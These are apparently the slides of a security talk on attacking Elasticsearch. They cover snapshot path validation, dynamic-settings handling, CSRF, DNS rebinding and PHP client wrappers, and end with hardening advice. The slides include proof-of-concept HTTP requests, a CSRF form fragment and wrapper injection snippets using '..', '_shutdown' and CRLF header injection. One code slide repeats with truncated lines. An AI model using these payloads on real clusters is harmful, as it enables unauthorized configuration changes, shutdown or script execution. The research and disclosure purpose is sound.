Hacking ElasticSearch

@d0znpp
Wallarm

@d0znpp BIO

- Security researcher
  - SSRF bible
    https://www.reddit.com/r/netsec/comments/2tpfz7/ssrf_bible_cheatsheet_by_onsec/
  - Memcached injection (BHUS-14)
    https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf
- Bug hunter since 2009
  - Facebook/Google/Yandex/MailRU
- CEO of Wallarm (WAF killer)

What is ElasticSearch?

https://github.com/elastic/elasticsearch open source

Distributed Lucene instances broker

- RESTful API
- Native Java API

Do you know which version is actual?

Previous works

- NoSQL Injection for Elasticsearch Kindle Edition by Gary Drocella http://goo.gl/OnfMOz

=> *ACL to 9200 and 9300*

- NoSQL Injections: Moving Beyond 'or '1'='1'. Matt Bromiley Derbycon 2014 http://goo.gl/UBh42h

=> *do not produce JSON by strings concatenation*

- Securing ElasticSearch http://goo.gl/Ik3023

=> *Use Nginx to provide BasicAuth and other advices*

CVE history

https://www.elastic.co/community/security

- CVE-2015-4165 is not disclosed yet ;(

“All Elasticsearch versions from 1.0.0 to 1.5.2 are vulnerable to an attack that uses Elasticsearch to modify files read and executed by certain other applications.”

- CVE-2015-3337 path trav. https://goo.gl/YWwu3a
- CVE-2015-1427 Groovy RCE https://goo.gl/Bi9SfC
- CVE-2014-6439 CORS issue https://goo.gl/7kMxod
- CVE-2014-3120 Java RCE https://goo.gl/iZL5L8

Scope of the research

- Data store
  - Snapshots
    - to files
    - to S3/sources
    - from HTTP(s) - readonly import
  - Indexes
  - …
- ~~Scripting~~
- ~~Plugins~~
- RESTful API
- Clients/wrappers

Snapshot repository location validation

```
84      public static Path get(Path[] roots, String path) {
85          for (Path root : roots) {
86              Path normalizedRoot = root.normalize();
87              Path normalizedPath = normalizedRoot.resolve(path).normalize();
88              if(normalizedPath.startsWith(normalizedRoot)) {
89                  return normalizedPath;
90              }
91          }
92          return null;
93      }
```

Snapshot repository location validation

https://docs.oracle.com/javase/7/docs/api/java/nio/file/Path.html#normalize():

The precise definition of this method is implementation dependent but in general it derives from this path, a path that does not contain *redundant* name elements. In many file systems, the "." and ".." are special names used to indicate the current directory and parent directory. In such file systems all occurrences of "." are considered redundant. If a ".." is preceded by a non-".." name then both names are considered redundant (the process to identify such names is repeated until is it no longer applicable).

This method does not access the file system; the path may not locate a file that exists. Eliminating ".." and a preceding name from a path may result in the path that locates a different file than the original path. This can arise when the preceding name is a symbolic link.

Snapshot repository location validation

Windows filesystems:

- … is equivalent of ../../
- %WINDIR% macroses
- > < “ special chars in filenames (wildcards)

Snapshot repository location validation

URL-based read-only repository

Url should be listed in the **repositories.url.allowed_urls** settings

Snapshot repository location validation

```
PUT /_snapshot/fromurl HTTP/1.1
Host: localhost:9200
Accept: */*
Content-Length: 93

{
    "type": "url",
    "settings": {
        "url": "http://localhost/"
    }
}
```

302 redirect to unlisted location :)

Dynamic settings and configs

```
444     private boolean updateSettings(Settings toApply, Settings.Builder target, Settings.Builder updates, String type, boolean onlyD
445         boolean changed = false;
446         final Set<String> toRemove = new HashSet<>();
447         Settings.Builder settingsBuilder = Settings.builder();
448         for (Map.Entry<String, String> entry : toApply.getAsMap().entrySet()) {
449             if (entry.getValue() == null) {
450                 toRemove.add(entry.getKey());
451             } else if ((onlyDynamic == false && get(entry.getKey()) != null) || hasDynamicSetting(entry.getKey())) {
452                 validate(entry.getKey(), toApply);
453                 settingsBuilder.put(entry.getKey(), entry.getValue());
454                 updates.put(entry.getKey(), entry.getValue());
455                 changed = true;
456             } else {
457                 throw new IllegalArgumentException(type + " setting [" + entry.getKey() + "], not dynamically updateable");
458             }
459 
460         }
461         changed |= applyDeletes(toRemove, target);
462         target.put(settingsBuilder.build());
463         return changed;
464     }
```

Dynamic settings and configs

```
444     private boolean updateSettings(Settings toApply, Settings.Builder target, Settings.Builder updates, String type, boolean onlyD
445         boolean changed = false;
446         final Set<String> toRemove = new HashSet<>();
447         Settings.Builder settingsBuilder = Settings.builder();
448         for (Map.Entry<String, String> entry : toApply.getAsMap().entrySet()) {
449             if (entry.getValue() == null) {
450                 toRemove.add(entry.getKey());
451             } else if ((onlyDynamic == false && get(entry.getKey()) != null) || hasDynamicSetting(entry.getKey())) {
452                 validate(entry.getKey(), toApply);
453                 settingsBuilder.put(entry.getKey(), entry.getValue());
454                 updates.put(entry.getKey(), entry.getValue());
455                 changed = true;
456             } else {
457                 throw new IllegalArgumentException(type + " setting [" + entry.getKey() + "], not dynamically updateable");
458             }
459
460         }
461         changed |= applyDeletes(toRemove, target);
462         target.put(settingsBuilder.build());
463         return changed;
464     }
```

Dynamic settings and configs

```
444     private boolean updateSettings(Settings toApply, Settings.Builder target, Settings.Builder updates, String type, boolean onlyI
445         boolean changed = false
446         final Set<String> toRem
447         Settings.Builder settin
448         for (Map.Entry<String,
449             if (entry.getValue(
450                 toRemove.add(en
451             } else if ((onlyDyn                                                    (entry.getKey())) {
452                 validate(entry.
453                 settingsBuilder
454                 updates.put(ent
455                 changed = true;
456             } else {
457                 throw new Illeg                                                    dynamically updateable");
458             }
459
460         }
461         changed |= applyDeletes(toRemove, target);
462         target.put(settingsBuilder.build());
463         return changed;
464     }
```

```
PUT /_cluster/settings HTTP/1.1
Host: localhost:9200
Accept: */*
Content-Length: 85

{
    "transient" : {
        "non-dynamic-setting-here" : null
    }
}
```

CSRF RESTful API

Content-type validation… No!

<form action=”localhost:9200/_settings”>

<input type=text name=’{“settings:””...’ value=’’>

...

DNS rebinding

Different DNS answers for first and second requests

It’s a bad way to answer for any HOST in request

Wrappers security

BugBounty
https://research.facebook.com/search?q=a%20 200
https://research.facebook.com/search?q=a%22 500

$1000 reward for injection into JSON to ElasticSearch

But it might be RCE...

Wrappers security. ES original wrapper

- All URI parts goes through PHP urlencode().

But dot (0x2e) IS NOT encoded by RFC

- json_encode protects from injections into values

```
$params = array();
$params['body']  = array('testField' => 'abc');
$params['index'] = '..';
$params['type']  = '_shutdown';
// Document will be indexed to my_index/my_type/<autogenerated_id>
$ret = $client->index($params);
```

Wrappers security. Nervetattoo

- URI parts “as is”
- json_encode protects from injections into values

```
$results = $es
    ->setIndex("what/../do/you/want!/")
    ->setType("and/../here/also!")
    ->search('title:cool&key=value&script_fields');
```

Wrappers security. Nervetattoo

But it’s a raw socket, baby!

```
$results = $es
    ->setIndex(" HTTP/1.1\r\n…”script”:”...”"") // CVE
    ->setType("my_type")
    ->search('title:cool');
```

Summary

- Do not run on Windows
- Protect from Internet direct access
- Protect from users direct access (CSRF and DNS rebinding)
- Fuzz/analyze used wrapper for your platform (PHP, NodeJS, etc)
- Disable RESTful API if possible

Thanks!

blog.wallarm.com

@d0znpp